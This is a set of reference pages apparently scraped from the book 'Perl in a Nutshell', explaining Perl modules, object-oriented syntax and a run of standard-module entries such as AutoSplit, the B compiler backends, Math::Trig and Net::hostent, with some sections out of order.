use Module qw(const1 const2 func1 func2 func3);
The difference between use and require is that use pulls in the module at compile time. This means that functions like func1 or func2 can be used as predeclared list operators throughout the file. The require call does not necessarily load the module during compilation, so you must explicitly qualify its routines with the package name.

Previous: 7.1 Namespaces and Packages | Perl in a Nutshell | Next: 7.3 Object-Oriented Perl
7.1 Namespaces and Packages | Book Index | 7.3 Object-Oriented Perl


[Chapter 7] 7.3 Object-Oriented Perl

Perl in a Nutshell

Perl in a NutshellSearch this book

7.3 Object-Oriented Perl

In Perl circles, modules and object-oriented programming are often spoken of in the same breath. But just because the programmer has written a package and a subroutine doesn't mean that the code is objectified.

A module that describes a class must contain a special subroutine to create an object. (Each object that is created is an instance of a class.) This subroutine is called a constructor. (Often the constructor is named new, but Create is also used in Win32 classes.) The constructor creates a new object and returns a reference to it. This reference is a regular scalar variable, except that it refers to some underlying object that knows what class it belongs to. In your programs, you will use the reference to manipulate the object.

Methods are subroutines that expect an object reference as a first argument, such as:

sub in_class {
   my $class = shift; # object reference
   my ($this, $that) = @_; # params
}
Methods may be invoked like this:
PackageName->constructor(args)->method_name(args);
or:
$object = PackageName->constructor(args);
$object->method_name(args);
Objects have a specific set of available methods within their class, but they also inherit methods from their parent class, if they have one.

Objects are destroyed when the last reference to them goes away. You can control this capture before the object is destroyed with the DESTROY method. The DESTROY method should be defined somewhere in the class. You do not call DESTROY explicitly; it will be called at an appropriate time. Object references contained in the current object will be freed when the current object is freed. Most of the time you won't need to explicitly destroy an object, but there are occasions where you should, such as when you are done with a socket object.

Previous: 7.2 Modules | Perl in a Nutshell | Next: 7.4 Object Syntax
7.2 Modules | Book Index | 7.4 Object Syntax


[Chapter 7] 7.4 Object Syntax

Perl in a Nutshell

Perl in a NutshellSearch this book

7.4 Object Syntax

Perl uses two forms of syntax for invoking methods on objects. For both types of syntax, the object reference or class name is given as the first argument. A method that takes a class name is called a class method, and one that takes an object reference is called an instance method.

Class methods provide functionality for the entire class, not just for a single object that belongs to the class. Class methods expect a class name as their first argument. Following this explanation, a constructor is an example of a class method:

sub new {
   my $self = {};
   bless $self;
   return $self;
}
On the other hand, an instance method expects an object reference as its first argument. An instance method will shift the first argument and use this argument as a reference:
sub instance_method {
   my $self = shift;
   my($one, $two, $three) = @_;
   # do stuff
}
Here is an example of a constructor creating a new object and returning a reference:
$tri = new Triangle::Right (side1 => 3, side2 => 4);
This example creates a new right-triangle object and references it with $tri. The parameters are given as a hash-style list. This is common for constructors, as they set initial parameters for an object that is probably just a hash. Now that we have an object, we can invoke some method on it. Suppose Triangle::Right defines a method, hypot, that returns the length of the hypotenuse for a given right-triangle object. It would be used like this:
$h = hypot $tri;
print "The hypotenuse is: $h.\n";
In this particular example, there happens to be no additional arguments to the hypot method, but there could have been.

With the arrow (->) notation, the left side of the arrow must be an object reference or a class name, while the right side of the arrow must be a method defined for that object. Any arguments must follow the method inside of parentheses. For example:

$obj->method(args)
CLASS->method(args)
You have to use parentheses because this form can't be used as a list operator, although the first type of method syntax can.

The examples given above would look like this using the arrow syntax:

$tri = Triangle::Right->new(side1 => 3, side2 => 4);
$h = $tri->hypot();
print "The hypotenuse is: $h.\n";
The arrow syntax provides a helpful visual relationship between the object and its method, but both forms of syntax do the same thing. Precedence for the arrow syntax is left to right, exactly the same as the dereferencing operator. This allows you to chain together objects and methods if you want to simplify things. You just have to make sure you have an object to the left of the arrow and a method to the right:
%sides = (side1 => 3, side2 => 4);
$h = Triangle::Right->new(%sides)->hypot();
print "The hypotenuse is: $h.\n";
In this example, you never assign a variable name to the right-triangle object; the reference is passed directly to the hypot method.

Previous: 7.3 Object-Oriented Perl | Perl in a Nutshell | Next: 8. Standard Modules
7.3 Object-Oriented Perl | Book Index | 8. Standard Modules


[Chapter 8] Standard Modules

Perl in a Nutshell

Perl in a NutshellSearch this book
Previous: 7.4 Object Syntax Chapter 8 Next: 8.2 attrs

8. Standard Modules

Contents:
AnyDBM_File
attrs
AutoLoader
AutoSplit
autouse
B
B::Asmdata
B::Assembler
B::Bblock
B::Bytecode
B::C
B::CC
B::Debug
B::Deparse
B::Disassembler
B::Lint
B::Showlex
B::Stackobj
B::Terse
B::Xref
base
Benchmark
blib
Carp
CGI
CGI::Apache
CGI::Carp
CGI::Cookie
CGI::Fast
CGI::Push
CGI::Switch
Class::Struct
Config
constant
CPAN
CPAN::FirstTime
CPAN::Nox
Cwd
Data::Dumper
DB_File
Devel::SelfStubber
diagnostics
DirHandle
DynaLoader
English
Env
Errno
Exporter
ExtUtils::Command
ExtUtils::Embed
ExtUtils::Install
ExtUtils::Installed
ExtUtils::Liblist
ExtUtils::MakeMaker
ExtUtils::Manifest
ExtUtils::Miniperl
ExtUtils::Mkbootstrap
ExtUtils::Mksymlists
ExtUtils::MM_OS2
ExtUtils::MM_Unix
ExtUtils::MM_VMS
ExtUtils::MM_Win32
ExtUtils::Packlist
ExtUtils::testlib
Fatal
Fcntl
fields
File::Basename
File::CheckTree
File::Compare
File::Copy
File::DosGlob
File::Find
File::Path
File::Spec
File::Spec::Mac
File::Spec::OS2
File::Spec::Unix
File::Spec::VMS
File::Spec::Win32
File::stat
FileCache
FileHandle
FindBin
GDBM_File
Getopt::Long
Getopt::Std
I18N::Collate
integer
IO
IO::File
IO::Handle
IO::Pipe
IO::Seekable
IO::Select
IO::Socket
IPC::Msg
IPC::Open2
IPC::Open3
IPC::Semaphore
IPC::SysV
less
lib
locale
Math::BigFloat
Math::BigInt
Math::Complex
Math::Trig
NDBM_File
Net::hostent
Net::netent
Net::Ping
Net::protoent
Net::servent
O
ODBM_File
Opcode
ops
overload
Pod::Functions
Pod::Html
Pod::Text
POSIX
re
Safe
SDBM_File
Search::Dict
SelectSaver
SelfLoader
Shell
sigtrap
Socket
strict
subs
Symbol
Sys::Hostname
Sys::Syslog
Term::Cap
Term::Complete
Term::ReadLine
Test
Test::Harness
Text::Abbrev
Text::ParseWords
Text::Soundex
Text::Tabs
Text::Wrap
Thread
Thread::Queue
Thread::Semaphore
Thread::Signal
Thread::Specific
Tie::Array, Tie::StdArray
Tie::Handle
Tie::Hash, Tie::StdHash
Tie::RefHash
Tie::Scalar, Tie::StdScalar
Tie::SubstrHash
Time::gmtime
Time::Local
Time::localtime
Time::tm
UNIVERSAL
User::grent
User::pwent
vars
vmsish

We've talked about the extent to which Perl benefits from user contributions. In fact, many contributed modules are so generally useful that they are now distributed with Perl itself. This chapter describes these "standard modules"-if you are running Perl 5.005, all these modules are already available to you. If you are running an earlier version of Perl, and you find that a module you want isn't on your system, or if you simply don't find what you need among the modules in this chapter, check CPAN for one that does what you want.

While this chapter primarily covers standard Perl modules called at execution time from your program, it also covers the "pragmatic" modules that affect the compilation phase. (A pragma is a compiler directive that provides hints to the compiler.) By convention, the names of the pragmatic modules are all lowercase, while the names of other modules begin with an uppercase letter and are of mixed case.

The Win32-specific modules are not included in this chapter, but are described in Chapter 19, Win32 Modules and Extensions.

The following table provides a quick look at the standard modules and what they do:

Module | Function
AnyDBM_File | Provides framework for multiple DBMs
attrs | Sets or gets attributes of a subroutine
AutoLoader | Loads functions only on demand
AutoSplit | Splits a module for autoloading
autouse | Postpones load of modules until a function is used
B | Perl compiler and tools
base | Establishes IS-A relationship with base class at compile time
Benchmark | Checks and compares running times of code
blib | Uses MakeMaker's uninstalled version of a package
Carp | Generates error messages
CGI | Simple Common Gateway Interface class
CGI::Apache | Sets up environment to use CGI with Perl-Apache API
CGI::Carp | CGI routines for writing to HTTPD (or other) error log
CGI::Cookie | CGI interface to Netscape (HTTP/1.1) cookies
CGI::Fast | CGI interface for FastCGI
CGI::Push | Interface for server push operations
CGI::Switch | Tries multiple constructors and returns the first available CGI object
Class::Struct | Declares struct-like datatypes as Perl classes
Config | Accesses Perl configuration information
constant | Perl pragma to declare constants
CPAN | Queries, downloads, and builds Perl modules from CPAN sites
CPAN::FirstTime | Utility for CPAN::Config file initialization
CPAN::Nox | Wrapper around CPAN.pm without using any XS module
Cwd | Gets pathname of current working directory
Data::Dumper | Returns Perl data structures as strings
DB_File | Accesses Berkeley DB
Devel::SelfStubber | Generates stubs for a selfloading module
diagnostics | Forces verbose warning diagnostics
DirHandle | Supplies object methods for directory handles
DynaLoader | Automatic dynamic loading of Perl modules
English | Uses English or awk names for punctuation variables
Env | Imports environment variables
Errno | System errno constants from errno.h include file
Exporter | Default import method for modules
ExtUtils::Command | Utilities to replace common Unix commands
ExtUtils::Embed | Utilities for embedding Perl in C/C++ applications
ExtUtils::Install | Installs files from here to there
ExtUtils::Installed | Inventory management of installed modules
ExtUtils::Liblist | Determines libraries to use and how to use them
ExtUtils::MakeMaker | Creates a Makefile for a Perl extension
ExtUtils::Manifest | Utilities to write and check a MANIFEST file
ExtUtils::Miniperl | Writes the C code for perlmain.c
ExtUtils::Mkbootstrap | Makes a bootstrap file for use by DynaLoader
ExtUtils::Mksymlists | Writes linker option files for dynamic extension
ExtUtils::MM_OS2 | Methods to override Unix behavior in ExtUtils::MakeMaker
ExtUtils::MM_Unix | Methods used by ExtUtils::MakeMaker
ExtUtils::MM_VMS | Methods to override Unix behavior in ExtUtils::MakeMaker
ExtUtils::MM_Win32 | Methods to override Unix behavior in ExtUtils::MakeMaker
ExtUtils::Packlist | Manages .packlist files
ExtUtils::testlib | Adds blib/* directories to @INC
Fatal | Replaces functions with equivalents that succeed or die
Fcntl | Loads the C fcntl.h defines
fields | Perl pragma to provide compile-time verified class fields
File::Basename | Parses file specifications
File::CheckTree | Runs many tests on a collection of files
File::Compare | Compares files or filehandles
File::Copy | Copies files or filehandles
File::DosGlob | DOS-like globbing with enhancements
File::Find | Traverses a file tree
File::Path | Creates or removes a series of directories
File::Spec | Portably performs operations on filenames
File::stat | By-name interface to Perl's built-in stat functions
FileCache | Keeps more files open than the system permits
FileHandle | Supplies object methods for filehandles
FindBin | Locates directory of original Perl script
GDBM_File | Tied access to GDBM library
Getopt::Long | Extended processing of command-line options
Getopt::Std | Processes single-character options with option clustering
I18N::Collate | Compares 8-bit scalar data according to the current locale
integer | Does arithmetic in integer instead of double
IO | Loads various IO modules
IO::File | Supplies object methods for filehandles
IO::Handle | Supplies object methods for I/O handles
IO::Pipe | Supplies object methods for pipes
IO::Seekable | Supplies seek-based methods for I/O objects
IO::Select | Object-oriented interface to the select system call
IO::Socket | Object interface to socket communications
IPC::Msg | System V Msg IPC object class
IPC::Open2 | Opens a process for both reading and writing
IPC::Open3 | Opens a process for reading, writing, and error handling
IPC::Semaphore | System V Semaphore IPC object class
IPC::SysV | System V IPC constants
less | Perl pragma to request less of something from the compiler
lib | Manipulates @INC at compile time
locale | Perl pragma to use and avoid POSIX locales for built-in operations
Math::BigFloat | Arbitrary-length floating-point math package
Math::BigInt | Arbitrary-length integer math package
Math::Complex | Complex numbers package
Math::Trig | Trigonometric functions
NDBM_File | Tied access to NDBM files
Net::hostent | By-name interface to Perl's built-in gethost* functions
Net::netent | By-name interface to Perl's built-in getnet* functions
Net::Ping | Checks whether a host is online
Net::protoent | By-name interface to Perl's built-in getproto* functions
Net::servent | By-name interface to Perl's built-in getserv* functions
ODBM_File | Tied access to ODBM files
Opcode | Disables named opcodes when compiling Perl code
ops | Restricts unsafe operations when compiling
overload | Overloads Perl's mathematical operations
Pod::Functions | Used in converting from pod to HTML
Pod::Html | Module to convert pod files to HTML
Pod::Text | Converts pod data to formatted ASCII text
POSIX | Perl interface to IEEE Std 1003.1
re | Perl pragma to alter regular expression behavior
Safe | Creates safe namespaces for evaluating Perl code
SDBM_File | Tied access to SDBM files
Search::Dict | Searches for key in dictionary file
SelectSaver | Saves and restores selected filehandle
SelfLoader | Loads functions only on demand
Shell | Runs shell commands transparently within Perl
sigtrap | Enables stack backtrace on unexpected signals
Socket | Loads the C socket.h defines and structure manipulators
strict | Restricts unsafe constructs
subs | Predeclares subroutine names
Symbol | Generates anonymous globs; qualifies variable names
Sys::Hostname | Tries every conceivable way to get hostname
Sys::Syslog | Perl interface to Unix syslog(3) calls
Term::Cap | Terminal capabilities interface
Term::Complete | Word completion module
Term::ReadLine | Interface to various ReadLine packages
Test | Framework for writing test scripts
Test::Harness | Runs Perl standard test scripts with statistics
Text::Abbrev | Creates an abbreviation table from a list
Text::ParseWords | Parses text into a list of tokens
Text::Soundex | The soundex algorithm described by Knuth
Text::Tabs | Expands and unexpands tabs
Text::Wrap | Wraps text into a paragraph
Thread | Multithreading support
Thread::Queue | Thread-safe queues
Thread::Semaphore | Thread-safe semaphores
Thread::Signal | Starts a thread that runs signal handlers reliably
Thread::Specific | Thread-specific keys
Tie::Array | Base class definitions for tied arrays
Tie::Handle | Base class definitions for tied handles
Tie::Hash, Tie::StdHash | Base class definitions for tied hashes
Tie::RefHash | Uses references as hash keys
Tie::Scalar, Tie::StdScalar | Base class definitions for tied scalars
Tie::SubstrHash | Fixed-table-size, fixed-key-length hashing
Time::gmtime | By-name interface to Perl's built-in gmtime function
Time::Local | Computes time from local and GMT time
Time::localtime | By-name interface to Perl's built-in localtime function
Time::tm | Internal object used by Time::gmtime and Time::localtime
UNIVERSAL | Base class for all classes (blessed references)
User::grent | By-name interface to Perl's built-in getgr* functions
User::pwent | By-name interface to Perl's built-in getpw* functions
vars | Predeclares global variable names
vmsish | Enables VMS-specific language features

In the remainder of this chapter, the modules are arranged in alphabetical order for easy reference. For more detail about a module, use the perldoc command to read the manpage for that module (see Chapter 4, The Perl Language, for information on perldoc).

8.1 AnyDBM_File

Provides a single DBM (Database Manager) interface regardless of the DBM implementation you use. The module inherits from the various DBM packages; by default, it inherits from NDBM_File. If it doesn't find NDBM_File, the default search order is: DB_File, GDBM_File, SDBM_File (which comes with Perl), and finally ODBM_File. You can override this default order by redefining @ISA:

@AnyDBM_File::ISA = qw(DB_File GDBM_File NDBM_File);
However, an explicit use takes priority over the @ISA ordering.

Perl's dbmopen function actually just calls tie to bind a hash to AnyDBM_File. The effect is to bind the hash to one of the specific DBM classes that AnyDBM_File inherits from.

Previous: 7.4 Object Syntax | Perl in a Nutshell | Next: 8.2 attrs
7.4 Object Syntax | Book Index | 8.2 attrs


[Chapter 8] 8.2 attrs

Perl in a Nutshell

Perl in a NutshellSearch this book

8.2 attrs

Sets or gets the attributes of subroutines. Attributes are set for a subroutine at compile time; therefore, setting an invalid attribute results in a compile-time error. During execution, when you call attrs::get on a subroutine reference or name, it returns the list of attributes that are set. Note that attrs::get is not exported. For example:

sub test {
    use attrs qw(locked method);
    ...
}
@a = attrs::get(\foo);
The valid attributes are:

locked

Meaningful only when the subroutine or method is to be called by multiple threads. When set on a subroutine that also has the method attribute set, invoking that subroutine implicitly locks its first argument before execution. On a non-method subroutine, a lock is taken on the subroutine itself before execution. The lock semantics are identical to one taken explicitly with the lock operator immediately after entering the subroutine.

method

The invoking subroutine is a method.

Previous: 8.1 AnyDBM_File | Perl in a Nutshell | Next: 8.3 AutoLoader
8.1 AnyDBM_File | Book Index | 8.3 AutoLoader


[Chapter 8] 8.3 AutoLoader

Perl in a Nutshell

Perl in a NutshellSearch this book

8.3 AutoLoader

Delays the loading of functions until they are used. Each function is placed in a file that has the same name as the function, with an .al extension. The files are stored in a subdirectory of the auto/ directory that is named after the package. For example, the function GoodStuff::whatever is loaded from the file auto/GoodStuff/whatever.al. Should always be used and not required.

A module using the AutoLoader has the special marker __END__ prior to the declarations for the subroutine to be autoloaded. Any code before this marker is loaded and compiled when the module is used, but at the marker, Perl stops parsing the file.

Later, during execution, when a subroutine that isn't yet in memory is called, the AUTOLOAD function attempts to find it in a directory relative to the location of the module file. For example, if POSIX.pm is in the directory /usr/local/lib/perl5, then the AutoLoader looks for POSIX subroutines in /usr/local/lib/perl5/auto/POSIX/*.al.

Previous: 8.2 attrs | Perl in a Nutshell | Next: 8.4 AutoSplit
8.2 attrs | Book Index | 8.4 AutoSplit


[Chapter 8] 8.4 AutoSplit

Perl in a Nutshell

Perl in a NutshellSearch this book

8.4 AutoSplit

Splits a program or module into files that the AutoLoader can handle. It can be called from a program or from the command line:

# from a program
use AutoSplit;
autosplit_modules(@ARGV)

# from the command line
perl -MAutoSplit -e 'autosplit(FILE, DIR, KEEP, CHECK, MODTIME)' ...

# another interface
perl -MAutoSplit -e 'autosplit_lib_modules(@ARGV)' ...
AutoSplit is used by MakeMaker as well as the standard Perl libraries. It operates on a file, splitting off subroutines that come after the __END__ marker and storing them as described above for AutoLoader, creating any necessary directories along the way. AutoSplit has two functions:
  • autosplit
  • autosplit_lib_modules

Previous: 8.3 AutoLoader | Perl in a Nutshell | Next: 8.5 autouse
8.3 AutoLoader | Book Index | 8.5 autouse


[Chapter 8] 8.5 autouse

Perl in a Nutshell

Perl in a NutshellSearch this book

8.5 autouse

Pragma for postponing the loading of a module from compile time to execution time. The module isn't loaded until one of its subroutines is used; the subroutines all have to be exported by the module.

use autouse module => qw(sub1 [sub2 ...])
Use with care, since problems that might otherwise be found during compilation won't crop up until your program is already executing.

Previous: 8.4 AutoSplit | Perl in a Nutshell | Next: 8.6 B
8.4 AutoSplit | Book Index | 8.6 B


[Chapter 8] 8.6 B

Perl in a Nutshell

Perl in a NutshellSearch this book

8.6 B

The Perl compiler. To use the compiler, you don't need to use this module. See the O module, which is the user frontend to the compiler; also see the compiler section of Chapter 3, The Perl Interpreter. The B module provides the classes for implementing backends for the compiler. If you plan to write a new backend, read the B manpage for the details of the module.

Previous: 8.5 autouse | Perl in a Nutshell | Next: 8.7 B::Asmdata
8.5 autouse | Book Index | 8.7 B::Asmdata


[Chapter 8] 8.7 B::Asmdata

Perl in a Nutshell

Perl in a NutshellSearch this book

8.7 B::Asmdata

Contains autogenerated data about Perl ops; used to generate bytecode. Any changes made to this file will be lost.

Previous: 8.6 B | Perl in a Nutshell | Next: 8.8 B::Assembler
8.6 B | Book Index | 8.8 B::Assembler


[Chapter 8] 8.8 B::Assembler

Perl in a Nutshell

Perl in a NutshellSearch this book

8.8 B::Assembler

Assembles Perl bytecode.

Previous: 8.7 B::Asmdata | Perl in a Nutshell | Next: 8.9 B::Bblock
8.7 B::Asmdata | Book Index | 8.9 B::Bblock


[Chapter 8] 8.9 B::Bblock

Perl in a Nutshell

Perl in a NutshellSearch this book

8.9 B::Bblock

Walks the basic blocks of a program. Invoked as:

perl -MO=Bblock[,options] filename

Previous: 8.8 B::Assembler | Perl in a Nutshell | Next: 8.10 B::Bytecode
8.8 B::Assembler | Book Index | 8.10 B::Bytecode


[Chapter 8] 8.10 B::Bytecode

Perl in a Nutshell

Perl in a NutshellSearch this book

8.10 B::Bytecode

The bytecode backend for the Perl compiler. Takes Perl source code and generates platform-independent bytecode that can be run with the byteperl executable or can be loaded via the byteload_fh function in the B module. Compiling with the Bytecode backend won't speed up execution of your program, but it may improve start-up time. Invoke as:

perl -MO=Bytecode[,options] program
where program is the name of the Perl script to compile. Any non-option arguments are treated as the names of objects to be saved; the main program is assumed if there are no extra arguments. Possible options are:

--

Forces end of options.

-Dopts

Debug options, which can be either concatenated or specified separately. Possible options are:

a

Tells the bytecode assembler to include assembler source in its output as bytecode comments.

b

Prints debugging information about bytecompiler progress.

C

Prints each CV from the final walk through the symbol tree.

o

Prints each OP as it's processed.

-fopt

Forces individual optimizations on or off. Preceding an optimization with no- turns that option off (e.g., no-compress-nullops). Possible values of opt are:

bypass-nullops

If op->op_next ever points to a NULLOP, replaces the op_next field with the first non-NULLOP in the path of execution.

compress-nullops

Fills in only the necessary fields of ops that have been optimized away by Perl's internal compiler.

omit-sequence-numbers

Leaves out the code to fill in the op_seq field for all ops that are used only by Perl's internal compiler.

strip-syntax-tree

Leaves out the code to fill in the internal syntax tree pointers. Use of this option breaks any goto label statements and prevents later recompiling or disassembling of the resulting program.

-m

Compiles as a module rather than as a standalone program.

-ofilename

Sends output to filename instead of STDOUT.

-O[n]

Sets the optimization level to n, where n is an integer. n defaults to 1. -O1 sets -fcompress-nullops -fomit-sequence-numbers, and -O6 adds -fstrip-syntax-tree.

-S

Outputs bytecode assembler source instead of assembling it into bytecode.

Previous: 8.9 B::Bblock | Perl in a Nutshell | Next: 8.11 B::C
8.9 B::Bblock | Book Index | 8.11 B::C


[Chapter 8] 8.100 IPC::Semaphore

Perl in a Nutshell

Perl in a NutshellSearch this book

8.100 IPC::Semaphore

System V Semaphore IPC object class. Uses constants defined in IPC::SysV.

  • new
  • getall
  • getncnt
  • getpid
  • getval
  • getzcnt
  • id
  • op
  • remove
  • set
  • setall
  • setval
  • stat

Previous: 8.99 IPC::Open3 | Perl in a Nutshell | Next: 8.101 IPC::SysV
8.99 IPC::Open3 | Book Index | 8.101 IPC::SysV


[Chapter 8] 8.101 IPC::SysV

Perl in a Nutshell

Perl in a NutshellSearch this book

8.101 IPC::SysV

Defines and conditionally exports all the constants defined in your system include files that are needed by the System V IPC calls.

  • ftok

Previous: 8.100 IPC::Semaphore | Perl in a Nutshell | Next: 8.102 less
8.100 IPC::Semaphore | Book Index | 8.102 less


[Chapter 8] 8.102 less

Perl in a Nutshell

Perl in a NutshellSearch this book

8.102 less

Pragma, currently unimplemented, that may someday be a compiler directive to make certain trade-offs, such as:

use less 'memory';

Previous: 8.101 IPC::SysV | Perl in a Nutshell | Next: 8.103 lib
8.101 IPC::SysV | Book Index | 8.103 lib


[Chapter 8] 8.103 lib

Perl in a Nutshell

Perl in a NutshellSearch this book

8.103 lib

Permits adding additional directories to Perl's default search path at compile time. The directories are added at the front of the search path.

use lib list;
adds the directories specified in list to @INC.

For each directory $dir in list, lib looks for an architecture-specific subdirectory that has an auto subdirectory under it-that is, it looks for $dir/$archname/auto. If it finds that directory, then $dir/$archname is also added to the front of @INC, preceding $dir.

Normally, you should only add directories to @INC. However, you can also delete directories. The statement:

no lib list
deletes the first instance of each named directory from @INC. To delete all instances of all the specified names from @INC, specify :ALL as the first parameter of list.

As with adding directories, lib checks for a directory called $dir/$archname/auto and deletes the $dir/$archname directory from @INC. You can restore @INC to its original value with:

@INC = @lib::ORIG_INC;

Previous: 8.102 less | Perl in a Nutshell | Next: 8.104 locale
8.102 less | Book Index | 8.104 locale


[Chapter 8] 8.104 locale

Perl in a Nutshell

Perl in a NutshellSearch this book

8.104 locale

Pragma that tells the compiler to disable (or enable) the use of POSIX locales for built-in operations (LC_CTYPE for regular expressions and LC_COLLATE for string comparison). Each no locale or use locale affects statements to the end of the enclosing block.

Previous: 8.103 lib | Perl in a Nutshell | Next: 8.105 Math::BigFloat
8.103 lib | Book Index | 8.105 Math::BigFloat


[Chapter 8] 8.105 Math::BigFloat

Perl in a Nutshell

Perl in a NutshellSearch this book

8.105 Math::BigFloat

Provides methods that permit use of floating-point numbers of arbitrary length. The following apply to all methods, except as noted:

  • The object $f remains unchanged.

  • All methods except fcmp return a number string (nstr) of the form /[+-]\d+E[+-]\d+/, with embedded whitespace ignored.

  • A return value of NaN indicates either that an input parameter was "Not a Number" or that an illegal operation was attempted.

  • A similar default scale value is computed for square roots.

  • new
  • fabs
  • fadd
  • fcmp
  • fdiv
  • ffround
  • fmul
  • fneg
  • fnorm
  • fround
  • fsqrt
  • fsub

Previous: 8.104 locale | Perl in a Nutshell | Next: 8.106 Math::BigInt
8.104 locale | Book Index | 8.106 Math::BigInt


[Chapter 8] 8.106 Math::BigInt

Perl in a Nutshell

Perl in a NutshellSearch this book

8.106 Math::BigInt

Allows use of arbitrary length integers, where the following apply to all methods, except as noted:

  • The object $i remains unchanged.

  • Big integer strings (bints) have the form /^\s*[+-]?[\d\s]+$/.

  • All methods except bcmp return a big integer string or strings.

  • Embedded whitespace is ignored.

  • Output values are always in the canonical form: /^[+-]\d+$/.

  • The return value NaN results when an input argument is not a number, or when a divide by zero is attempted.

  • new
  • babs
  • badd
  • bcmp
  • bdiv
  • bgcd
  • bmod
  • bmul
  • bneg
  • bnorm
  • bsub

Previous: 8.105 Math::BigFloat | Perl in a Nutshell | Next: 8.107 Math::Complex
8.105 Math::BigFloat | Book Index | 8.107 Math::Complex


[Chapter 8] 8.107 Math::Complex

Perl in a Nutshell

Perl in a NutshellSearch this book

8.107 Math::Complex

Provides support for complex numbers, including a full set of mathematical functions; permits creation and manipulation of complex numbers. Numerous overload and other operations are provided for working with complex numbers. See the documentation for the module for the complete list and also for a discussion of complex numbers. The following methods are provided:

  • emake
  • display_format
  • make

Previous: 8.106 Math::BigInt | Perl in a Nutshell | Next: 8.108 Math::Trig
8.106 Math::BigInt | Book Index | 8.108 Math::Trig


[Chapter 8] 8.108 Math::Trig

Perl in a Nutshell

Perl in a NutshellSearch this book

8.108 Math::Trig

Defines many trigonometric functions not defined by the core Perl, plus the constant pi and some additional functions for converting angles. For example:

use Math::Trig;

$x = tan(0.9);
$halfpi = pi/2;
The following functions are defined. A slash (/) between two functions means the values are aliases.

acsc/acosec, asec, acot/acotan

Arcus cofunctions of sine, cosine, and tangent

acsch/acosech, asech, acoth/acotanh

Arcus cofunctions of hyperbolic sine, cosine, and tangent

asin, acos, atan

Arcus (inverse) functions of sine, cosine, and tangent

asinh, acosh, atanh

Arcus functions of hyperbolic sine, cosine, and tangent

atan2(y, x)

Principal value of arc tangent of y/x

csc/cosec, sec, cot/cotan

Cofunctions of sine, cosine, and tangent

csch/cosech, sech, coth/cotanh

Cofunctions of hyperbolic sine, cosine, and tangent

deg2rad

Degrees to radians

deg2grad

Degrees to gradians

grad2deg

Gradians to degrees

grad2rad

Gradians to radians

pi

The trigonometric constant pi

rad2deg

Radians to degrees

rad2grad

Radians to gradians

sinh, cosh, tanh

Hyperbolic sine, cosine, and tangent

tan

Tangent

Previous: 8.107 Math::Complex | Perl in a Nutshell | Next: 8.109 NDBM_File
8.107 Math::Complex | Book Index | 8.109 NDBM_File


[Chapter 8] 8.109 NDBM_File

Perl in a Nutshell

Perl in a NutshellSearch this book

8.109 NDBM_File

Provides Perl programs with tied access to NDBM database files. See Perl's built-in tie function and the DB_File module.

Previous: 8.108 Math::Trig | Perl in a Nutshell | Next: 8.110 Net::hostent
8.108 Math::Trig | Book Index | 8.110 Net::hostent


[Chapter 8] 8.11 B::C

Perl in a Nutshell

Perl in a NutshellSearch this book

8.11 B::C

The C backend for the Perl compiler. Generates C source code from Perl source; the generated code corresponds to Perl's internal structures for running the program. Compiling with the C backend won't speed up execution of your program, but it may improve start-up time. Invoke as:

perl -MO=C[,options] program
where program is the name of the Perl script to compile. Any non-option arguments are treated as the names of objects to be saved; the main program is assumed if there are no extra arguments. Possible options are:

--

Forces end of options.

-Dopts

Debug options, which can be either concatenated or specified separately. Possible options are:

A

Prints AV information on saving.

c

Prints COPs as they are processed, including file and line number.

C

Prints CV information on saving.

M

Prints MAGIC information on saving.

o

Prints each OP as it's processed.

-fopt

Forces individual optimizations on or off. Possible values of opt are:

cog

Copy-on-grow; PVs are declared and initialized statically.

no-cog

No copy-on-grow.

-ofilename

Sends output to filename instead of to STDOUT.

-O[n]

Sets optimization level, where n is an integer. n defaults to 1. Currently, values of 1 and higher set cog.

-uPackname

Forces apparently unused subroutines from package Packname to be compiled, letting programs use eval "foo()" even if subroutine foo isn't seen to be used at compile time. You can specify multiple -u options.

-v

Compiles verbosely.

Previous: 8.10 B::Bytecode | Perl in a Nutshell | Next: 8.12 B::CC
8.10 B::Bytecode | Book Index | 8.12 B::CC


[Chapter 8] 8.110 Net::hostent

Perl in a Nutshell

Perl in a NutshellSearch this book

8.110 Net::hostent

Overrides the core gethostbyname and gethostbyaddr functions with object-oriented versions that return Net::hostent objects. The objects have methods that return the fields of the same name from the hostent structure in netdb.h:

Field | Description
addr | Address of host, for backwards compatibility
addr_list | List of addresses returned from name server
addrtype | Host address type
aliases | List of aliases
length | Length of address
name | Name of host

You can access the structure fields either with the methods or by importing the fields into your namespace with the :FIELDS import tag and then accessing them by prepending h_ to the field name:

$host_obj->name()
$h_name
Net::hostent exports the following:

  • gethost
  • gethostbyaddr
  • gethostbyname

Previous: 8.109 NDBM_File | Perl in a Nutshell | Next: 8.111 Net::netent
8.109 NDBM_File | Book Index | 8.111 Net::netent


[Chapter 8] 8.111 Net::netent

Perl in a Nutshell

Perl in a NutshellSearch this book

8.111 Net::netent

Returns information for a network. Overrides the core getnetbyname and getnetbyaddr functions with object-oriented versions that return Net::netent objects. The objects have methods that return the fields of the same name from the netent structure in netdb.h:

Field | Description
addrtype | Net address type
aliases | Array of aliases
name | Name of net
net | Network number

You can access the structure fields either with the methods or by importing the fields into your namespace with the :FIELDS import tag and then accessing them by prepending n_ to the field name:

$net_obj->name()
$n_name
Net::netent exports the following:

  • getnet
  • getnetbyaddr
  • getnetbyname

Previous: 8.110 Net::hostent | Perl in a Nutshell | Next: 8.112 Net::Ping
8.110 Net::hostent | Book Index | 8.112 Net::Ping


[Chapter 8] 8.112 Net::Ping

Perl in a Nutshell

Perl in a NutshellSearch this book

8.112 Net::Ping

Provides methods to create ping objects and test the reachability of remote hosts on the network. After the object has been created, a variable number of hosts can be pinged multiple times before closing the connection. The methods are:

  • new
  • close
  • ping
  • pingecho

Previous: 8.111 Net::netent | Perl in a Nutshell | Next: 8.113 Net::protoent
8.111 Net::netent | Book Index | 8.113 Net::protoent


[Chapter 8] 8.113 Net::protoent

Perl in a Nutshell

Perl in a NutshellSearch this book

8.113 Net::protoent

Returns information for an Internet protocol. Overrides the core getprotoent, getprotobyname, and getprotobynumber functions with object-oriented versions that return Net::protoent objects. The functions take a default second argument of tcp. The objects have methods that return the fields of the same name from the protoent structure in netdb.h:

Field | Description
aliases | List of aliases
name | Name of host
proto | Protocol

You can access the structure fields either with the methods or by importing the fields into your namespace with the :FIELDS import tag and then accessing them by prepending p_ to the field name:

$proto_obj->name()
$p_name

  • getproto
  • getprotoent
  • getprotobyname
  • getprotobynumber

Previous: 8.112 Net::Ping | Perl in a Nutshell | Next: 8.114 Net::servent
